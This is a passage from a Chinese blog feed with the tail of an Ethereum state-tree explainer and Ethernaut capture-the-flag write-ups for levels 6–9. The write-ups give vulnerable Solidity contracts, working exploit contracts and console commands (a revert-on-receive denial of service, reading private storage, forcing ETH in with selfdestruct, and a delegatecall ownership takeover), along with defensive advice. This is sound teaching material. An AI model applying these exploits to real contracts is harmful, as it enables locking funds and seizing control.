id="Q1:以太坊状态树保存什么?"><a href="#Q1:以太坊状态树保存什么?" class="headerlink" title="Q1:以太坊状态树保存什么?"></a>Q1:以太坊状态树保存什么?</h3><p>保存全局账户状态映射。逻辑上是 <code>address -> account state</code>,工程上通常是 <code>keccak256(address) -> RLP(account state)</code>。</p><h3 id="Q2:账户状态四个字段是什么?"><a href="#Q2:账户状态四个字段是什么?" class="headerlink" title="Q2:账户状态四个字段是什么?"></a>Q2:账户状态四个字段是什么?</h3><p><code>nonce</code>、<code>balance</code>、<code>storageRoot</code>、<code>codeHash</code>。</p><h3 id="Q3:ERC-20-余额存在用户账户里吗?"><a href="#Q3:ERC-20-余额存在用户账户里吗?" class="headerlink" title="Q3:ERC-20 余额存在用户账户里吗?"></a>Q3:ERC-20 余额存在用户账户里吗?</h3><p>不在。用户账户的 <code>balance</code> 是 ETH 原生余额。ERC-20 余额存在代币合约自己的 Storage Trie 中。</p><h3 id="Q4:为什么不用普通哈希表?"><a href="#Q4:为什么不用普通哈希表?" class="headerlink" title="Q4:为什么不用普通哈希表?"></a>Q4:为什么不用普通哈希表?</h3><p>哈希表查找快,但没有全局根哈希,也不能直接提供 Merkle Proof 和不存在性证明。</p><h3 id="Q5:为什么不用普通-Merkle-Tree?"><a href="#Q5:为什么不用普通-Merkle-Tree?" class="headerlink" title="Q5:为什么不用普通 Merkle Tree?"></a>Q5:为什么不用普通 Merkle Tree?</h3><p>普通 Merkle Tree 更适合固定有序列表,不适合动态键值映射。它还需要额外解决 key 查找和叶子顺序一致性问题。</p><h3 id="Q6:为什么状态树更新不是全量重建?"><a href="#Q6:为什么状态树更新不是全量重建?" class="headerlink" title="Q6:为什么状态树更新不是全量重建?"></a>Q6:为什么状态树更新不是全量重建?</h3><p>MPT 可以共享未变化节点。交易只影响相关账户或 storage slot,因此只需要更新变化路径上的节点。</p><h3 id="Q7:状态树如何支持轻节点?"><a href="#Q7:状态树如何支持轻节点?" class="headerlink" title="Q7:状态树如何支持轻节点?"></a>Q7:状态树如何支持轻节点?</h3><p>轻节点保存区块头和 <code>stateRoot</code>,向全节点请求 Merkle Proof,然后验证账户状态是否能回算到该根哈希。</p><h3 id="Q8:为什么需要历史状态版本?"><a href="#Q8:为什么需要历史状态版本?" class="headerlink" title="Q8:为什么需要历史状态版本?"></a>Q8:为什么需要历史状态版本?</h3><p>临时分叉、回滚和链重组需要旧状态。原地修改会让节点难以从错误分支切回规范链。</p><hr><h2 id="17-易错点"><a href="#17-易错点" class="headerlink" title="17. 易错点"></a>17. 易错点</h2><p>不要把 <code>balance</code> 和 ERC-20 余额混为一谈。<code>balance</code> 是 ETH,ERC-20 余额是合约存储。</p><p>不要说每个区块完整复制一棵状态树。逻辑上每个区块有一个状态版本,工程上大量节点共享。</p><p>不要把状态树、交易树、收据树说成同一类业务含义。它们都可以用 trie,但承诺对象不同。</p><p>不要忽略 RLP。哈希前必须有确定的字节编码,否则不同节点无法得到一致根哈希。</p><hr><h2 id="18-总结"><a href="#18-总结" class="headerlink" title="18. 总结"></a>18. 总结</h2><p>以太坊状态树的本质是全局世界状态的加密承诺。它把账户模型、MPT、RLP、Merkle Proof、合约存储和区块头 <code>stateRoot</code> 连接在一起。</p><p>总结时,不要只说“以太坊用 MPT”。更完整的说法是:以太坊需要维护动态全局账户状态,普通哈希表缺少证明能力,普通 Merkle Tree 不适合动态键值映射,所以使用 Modified MPT,在每个区块执行后得到新的 <code>stateRoot</code>。</p>]]></content>
<summary type="html"></summary>
<category term="区块链技术与应用" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E6%8A%80%E6%9C%AF%E4%B8%8E%E5%BA%94%E7%94%A8/"/>
<category term="区块链" scheme="https://kylinxin.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/"/>
<category term="Ethereum" scheme="https://kylinxin.github.io/tags/Ethereum/"/>
<category term="ETH" scheme="https://kylinxin.github.io/tags/ETH/"/>
<category term="以太坊" scheme="https://kylinxin.github.io/tags/%E4%BB%A5%E5%A4%AA%E5%9D%8A/"/>
<category term="MPT" scheme="https://kylinxin.github.io/tags/MPT/"/>
<category term="状态树" scheme="https://kylinxin.github.io/tags/%E7%8A%B6%E6%80%81%E6%A0%91/"/>
</entry>
<entry>
<title>Ethernaut 靶场学习笔记 09:King</title>
<link href="https://kylinxin.github.io/2026/05/10/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2009%EF%BC%9AKing/"/>
<id>https://kylinxin.github.io/2026/05/10/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2009%EF%BC%9AKing/</id>
<published>2026-05-10T01:00:00.000Z</published>
<updated>2026-05-10T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 Ethernaut 靶场个人学习笔记,用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点,方便后续按关卡重新练习和查漏补缺。</p></blockquote><ul><li>关卡:Level 9 - King</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>成为 King 后,让关卡合约无法重新夺回王位。</p><h2 id="考察知识点"><a href="#考察知识点" class="headerlink" title="考察知识点"></a>考察知识点</h2><ul><li>拒收 ETH</li><li>外部转账阻塞状态机</li><li>push payment 风险</li></ul><h2 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// SPDX-License-Identifier: MIT</span></span><br><span class="line">pragma solidity ^<span class="number">0.8</span><span class="number">.0</span>;</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">King</span> {</span><br><span class="line"></span><br><span class="line"> address king;</span><br><span class="line"> uint public prize;</span><br><span class="line"> address public owner;</span><br><span class="line"></span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params"></span>) payable {</span><br><span class="line"> owner = msg.<span class="property">sender</span>; </span><br><span class="line"> king = msg.<span class="property">sender</span>;</span><br><span class="line"> prize = msg.<span class="property">value</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="title function_">receive</span>() external payable {</span><br><span class="line"> <span class="built_in">require</span>(msg.<span class="property">value</span> >= prize || msg.<span class="property">sender</span> == owner);</span><br><span class="line"> <span class="title function_">payable</span>(king).<span class="title function_">transfer</span>(msg.<span class="property">value</span>);</span><br><span class="line"> king = msg.<span class="property">sender</span>;</span><br><span class="line"> prize = msg.<span class="property">value</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">_king</span>(<span class="params"></span>) public view <span class="title function_">returns</span> (address) {</span><br><span class="line"> <span class="keyword">return</span> king;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="源码与漏洞解析"><a href="#源码与漏洞解析" class="headerlink" title="源码与漏洞解析"></a>源码与漏洞解析</h2><ol><li>King 的 <code>receive()</code> 逻辑是:检查出价,再给旧 king 转账,然后更新 king 和 prize。</li><li>转账使用 <code>transfer</code>,如果旧 king 是合约且拒收 ETH,整个 receive 会 revert,新的挑战者无法成为 king。</li><li>攻击合约用足够 ETH 成为 king 后,在自己的 <code>receive()</code> 中 revert。提交实例时,Ethernaut 关卡会尝试重新成为 king,但给攻击合约退款时会失败。</li><li>这关考察拒绝服务型漏洞:不是偷资产,而是利用外部调用失败阻断关键流程。</li></ol><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><ol><li>部署攻击合约,并向 King 实例发送不低于当前 prize 的 ETH。</li><li>King 的 receive 会尝试把旧 prize 转给旧 king,然后更新 king。</li><li>攻击合约没有可收款逻辑或主动 revert,之后任何人替换 king 时都会失败。</li></ol><h2 id="攻击合约-WP"><a href="#攻击合约-WP" class="headerlink" title="攻击合约 WP"></a>攻击合约 WP</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">contract <span class="title class_">KingAttack</span> {</span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params">address payable instance</span>) payable {</span><br><span class="line"> (bool ok, ) = instance.<span class="property">call</span>{<span class="attr">value</span>: msg.<span class="property">value</span>}(<span class="string">""</span>);</span><br><span class="line"> <span class="built_in">require</span>(ok, <span class="string">"take throne failed"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="title function_">receive</span>() external payable {</span><br><span class="line"> <span class="title function_">revert</span>(<span class="string">"no refund"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="最终-WP"><a href="#最终-WP" class="headerlink" title="最终 WP"></a>最终 WP</h2><ol><li>读取当前 <code>prize()</code>,部署攻击合约并发送至少 prize 数量的 ETH 到 King 实例。</li><li>攻击合约成为 king。</li><li>攻击合约的 <code>receive()</code> 永远 revert,拒绝后续退款。</li><li>提交实例,关卡合约夺回王位失败,通关。</li></ol><h2 id="复盘与拓展"><a href="#复盘与拓展" class="headerlink" title="复盘与拓展"></a>复盘与拓展</h2><ul><li>易错点:把外部转账放进关键路径,会被拒收方阻断。</li><li>防御建议:使用 pull payment,让收款人主动提款;不要在状态更新前强制向未知地址转账。</li></ul><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>相关资料:<a class="link" href="https://hackmd.io/@0xbc000/rJwX0_6Ep" >https://hackmd.io/@0xbc000/rJwX0_6Ep<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Ethernaut 官方仓库:<a class="link" href="https://github.com/OpenZeppelin/ethernaut" >https://github.com/OpenZeppelin/ethernaut<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档:<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链安全" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/Ethernaut/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/tags/Ethernaut/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="智能合约安全" scheme="https://kylinxin.github.io/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Ethernaut 靶场学习笔记 08:Vault</title>
<link href="https://kylinxin.github.io/2026/05/09/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2008%EF%BC%9AVault/"/>
<id>https://kylinxin.github.io/2026/05/09/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2008%EF%BC%9AVault/</id>
<published>2026-05-09T01:00:00.000Z</published>
<updated>2026-05-09T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 Ethernaut 靶场个人学习笔记,用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点,方便后续按关卡重新练习和查漏补缺。</p></blockquote><ul><li>关卡:Level 8 - Vault</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>读取 Vault 的私有 password,调用 <code>unlock</code> 解锁。</p><h2 id="考察知识点"><a href="#考察知识点" class="headerlink" title="考察知识点"></a>考察知识点</h2><ul><li>链上 storage 可读</li><li><code>private</code> 不是加密</li><li>slot 编号</li></ul><h2 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// SPDX-License-Identifier: MIT</span></span><br><span class="line">pragma solidity ^<span class="number">0.8</span><span class="number">.0</span>;</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">Vault</span> {</span><br><span class="line"> bool public locked;</span><br><span class="line"> bytes32 private password;</span><br><span class="line"></span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params">bytes32 _password</span>) {</span><br><span class="line"> locked = <span class="literal">true</span>;</span><br><span class="line"> password = _password;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">unlock</span>(<span class="params">bytes32 _password</span>) public {</span><br><span class="line"> <span class="keyword">if</span> (password == _password) {</span><br><span class="line"> locked = <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="源码与漏洞解析"><a href="#源码与漏洞解析" class="headerlink" title="源码与漏洞解析"></a>源码与漏洞解析</h2><ol><li><code>private</code> 只限制 Solidity 语法层面的访问,链上 storage 对所有节点公开。</li><li>Vault 有两个状态变量:<code>locked</code> 在 slot0,<code>password</code> 是 <code>bytes32</code>,通常在 slot1。</li><li>用 <code>web3.eth.getStorageAt(instance, 1)</code> 可以直接读取 slot1 中的 32 字节密码。</li><li>读取结果本身就是 <code>bytes32</code>,可以原样传给 <code>unlock</code>。</li></ol><h2 id="过程截图"><a href="#过程截图" class="headerlink" title="过程截图"></a>过程截图</h2><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/ethernaut/level08-vault-storage.png" alt="从 storage slot 中读取 password 的记录。" ><figcaption>从 storage slot 中读取 password 的记录。</figcaption></figure></p><p>图注:从 storage slot 中读取 password 的记录。</p><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><ol><li><code>locked</code> 在 slot0,<code>password</code> 在 slot1。</li><li>使用 <code>web3.eth.getStorageAt(instance, 1)</code> 读取 slot1。</li><li>把读到的 <code>bytes32</code> 传给 <code>unlock</code>。</li></ol><h2 id="Console-WP"><a href="#Console-WP" class="headerlink" title="Console WP"></a>Console WP</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> password = <span class="keyword">await</span> web3.<span class="property">eth</span>.<span class="title function_">getStorageAt</span>(instance, <span class="number">1</span>)</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">unlock</span>(password)</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">locked</span>()</span><br></pre></td></tr></table></figure></div><h2 id="最终-WP"><a href="#最终-WP" class="headerlink" title="最终 WP"></a>最终 WP</h2><ol><li>调用 <code>web3.eth.getStorageAt(instance, 1)</code> 读取 password。</li><li>把读出的 bytes32 传给 <code>contract.unlock(password)</code>。</li><li>确认 <code>locked()</code> 为 false。</li><li>提交实例。</li></ol><h2 id="复盘与拓展"><a href="#复盘与拓展" class="headerlink" title="复盘与拓展"></a>复盘与拓展</h2><ul><li>易错点:链上数据对所有节点公开,<code>private</code> 不等于加密。</li><li>防御建议:不要把秘密明文上链;需要秘密时使用承诺、零知识、链下签名或延迟揭示机制。</li></ul><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>相关资料:<a class="link" href="https://hackmd.io/@0xbc000/BkitIP3UT" >https://hackmd.io/@0xbc000/BkitIP3UT<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Ethernaut 官方仓库:<a class="link" href="https://github.com/OpenZeppelin/ethernaut" >https://github.com/OpenZeppelin/ethernaut<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档:<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链安全" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/Ethernaut/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/tags/Ethernaut/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="智能合约安全" scheme="https://kylinxin.github.io/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Ethernaut 靶场学习笔记 07:Force</title>
<link href="https://kylinxin.github.io/2026/05/08/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2007%EF%BC%9AForce/"/>
<id>https://kylinxin.github.io/2026/05/08/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2007%EF%BC%9AForce/</id>
<published>2026-05-08T01:00:00.000Z</published>
<updated>2026-05-08T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 Ethernaut 靶场个人学习笔记,用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点,方便后续按关卡重新练习和查漏补缺。</p></blockquote><ul><li>关卡:Level 7 - Force</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>让 Force 合约余额大于 0。</p><h2 id="考察知识点"><a href="#考察知识点" class="headerlink" title="考察知识点"></a>考察知识点</h2><ul><li>强制转 ETH</li><li>selfdestruct 余额转移</li><li>不要依赖合约余额为 0</li></ul><h2 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// SPDX-License-Identifier: MIT</span></span><br><span class="line">pragma solidity ^<span class="number">0.8</span><span class="number">.0</span>;</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">Force</span> {<span class="comment">/*</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment"> MEOW ?</span></span><br><span class="line"><span class="comment"> /\_/\ /</span></span><br><span class="line"><span class="comment"> ____/ o o \</span></span><br><span class="line"><span class="comment"> /~____ =ø= /</span></span><br><span class="line"><span class="comment"> (______)__m_m)</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">*/</span>}</span><br></pre></td></tr></table></figure></div><h2 id="源码与漏洞解析"><a href="#源码与漏洞解析" class="headerlink" title="源码与漏洞解析"></a>源码与漏洞解析</h2><ol><li>Force 合约没有任何 payable 函数,正常转账会失败,但 EVM 仍有强制改变地址余额的路径。</li><li>旧语义下 <code>selfdestruct(payable(target))</code> 会销毁当前合约并把余额发送到目标地址;目标合约无需实现 receive/fallback,也无法拒收。</li><li>因此部署一个带余额的攻击合约,再让它 selfdestruct 到 Force 地址即可。</li><li>这关的安全启发是:不要把业务判断建立在 <code>address(this).balance == 0</code> 这类外部可强制改变的状态上。</li></ol><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><ol><li>部署攻击合约并在部署或调用时给它一点 ETH。</li><li>调用攻击合约中的 <code>selfdestruct(payable(instance))</code>。</li><li>目标合约余额被强制增加。</li></ol><h2 id="攻击合约-WP"><a href="#攻击合约-WP" class="headerlink" title="攻击合约 WP"></a>攻击合约 WP</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">contract <span class="title class_">ForceAttack</span> {</span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params"></span>) payable {}</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">attack</span>(<span class="params">address payable instance</span>) external {</span><br><span class="line"> <span class="title function_">selfdestruct</span>(instance);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="最终-WP"><a href="#最终-WP" class="headerlink" title="最终 WP"></a>最终 WP</h2><ol><li>部署攻击合约,并在部署或调用时给它一点 ETH。</li><li>调用攻击合约的 <code>attack(instance)</code>。</li><li>攻击合约执行 <code>selfdestruct(payable(instance))</code>,Force 余额增加。</li><li>提交实例。</li></ol><h2 id="复盘与拓展"><a href="#复盘与拓展" class="headerlink" title="复盘与拓展"></a>复盘与拓展</h2><ul><li>易错点:合约余额不是只能通过自身代码路径变化。</li><li>防御建议:不要把 <code>address(this).balance == 0</code> 当作安全不变量;使用内部记账变量表示业务余额。</li><li>拓展:Dencun 后 <code>selfdestruct</code> 的删除代码语义发生变化,但强制转余额这个学习点仍然需要单独理解。</li></ul><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>相关资料:<a class="link" href="https://hackmd.io/@0xbc000/HyJQ0zJS6" >https://hackmd.io/@0xbc000/HyJQ0zJS6<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Ethernaut 官方仓库:<a class="link" href="https://github.com/OpenZeppelin/ethernaut" >https://github.com/OpenZeppelin/ethernaut<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档:<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链安全" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/Ethernaut/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/tags/Ethernaut/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="智能合约安全" scheme="https://kylinxin.github.io/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Ethernaut 靶场学习笔记 06:Delegation</title>
<link href="https://kylinxin.github.io/2026/05/07/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2006%EF%BC%9ADelegation/"/>
<id>https://kylinxin.github.io/2026/05/07/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2006%EF%BC%9ADelegation/</id>
<published>2026-05-07T01:00:00.000Z</published>
<updated>2026-05-07T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 Ethernaut 靶场个人学习笔记,用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点,方便后续按关卡重新练习和查漏补缺。</p></blockquote><ul><li>关卡:Level 6 - Delegation</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>通过 Delegation 的 fallback + delegatecall 执行 Delegate.pwn,接管 owner。</p><h2 id="考察知识点"><a href="#考察知识点" class="headerlink" title="考察知识点"></a>考察知识点</h2><ul><li>delegatecall</li><li>函数选择器</li><li>存储上下文复用</li></ul><h2 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// SPDX-License-Identifier: MIT</span></span><br><span class="line">pragma solidity ^<span class="number">0.8</span><span class="number">.0</span>;</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">Delegate</span> {</span><br><span class="line"></span><br><span class="line"> address public owner;</span><br><span class="line"></span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params">address _owner</span>) {</span><br><span class="line"> owner = _owner;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">pwn</span>(<span class="params"></span>) public {</span><br><span class="line"> owner = msg.<span class="property">sender</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">Delegation</span> {</span><br><span class="line"></span><br><span class="line"> address public owner;</span><br><span class="line"> <span class="title class_">Delegate</span> delegate;</span><br><span class="line"></span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params">address _delegateAddress</span>) {</span><br><span class="line"> delegate = <span class="title class_">Delegate</span>(_delegateAddress);</span><br><span class="line"> owner = msg.<span class="property">sender</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="title function_">fallback</span>() external {</span><br><span class="line"> (bool result,) = <span class="title function_">address</span>(delegate).<span class="title function_">delegatecall</span>(msg.<span class="property">data</span>);</span><br><span class="line"> <span class="keyword">if</span> (result) {</span><br><span class="line"> <span class="variable language_">this</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="源码与漏洞解析"><a href="#源码与漏洞解析" class="headerlink" title="源码与漏洞解析"></a>源码与漏洞解析</h2><ol><li><code>Delegation</code> 自己没有 <code>pwn()</code>,但 fallback 会把任意 calldata 通过 <code>delegatecall</code> 交给 <code>Delegate</code>。</li><li><code>delegatecall</code> 的关键点:执行的是被调用合约代码,但读写的是调用方的 storage,<code>msg.sender</code> 也保持为原始调用者。</li><li><code>Delegate.pwn()</code> 写 <code>owner = msg.sender</code>。通过 delegatecall 执行时,写入的是 <code>Delegation.owner</code>。</li><li>要触发它,只需要把 <code>pwn()</code> 的函数选择器作为 calldata 发给 Delegation 实例。选择器是 <code>bytes4(keccak256("pwn()")) = 0xdd365b8b</code>。</li></ol><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><ol><li>目标 fallback 把 calldata 委托给 Delegate 合约。</li><li><code>pwn()</code> 的函数选择器为 <code>0xdd365b8b</code>。</li><li>直接向实例发送这 4 字节 calldata,fallback 会 delegatecall 到 <code>pwn()</code>。</li><li>Delegate 代码写入 slot0,实际改的是 Delegation 的 slot0。</li></ol><h2 id="Console-WP"><a href="#Console-WP" class="headerlink" title="Console WP"></a>Console WP</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">await</span> web3.<span class="property">eth</span>.<span class="property">abi</span>.<span class="title function_">encodeFunctionSignature</span>(<span class="string">"pwn()"</span>)</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">sendTransaction</span>({ <span class="attr">data</span>: <span 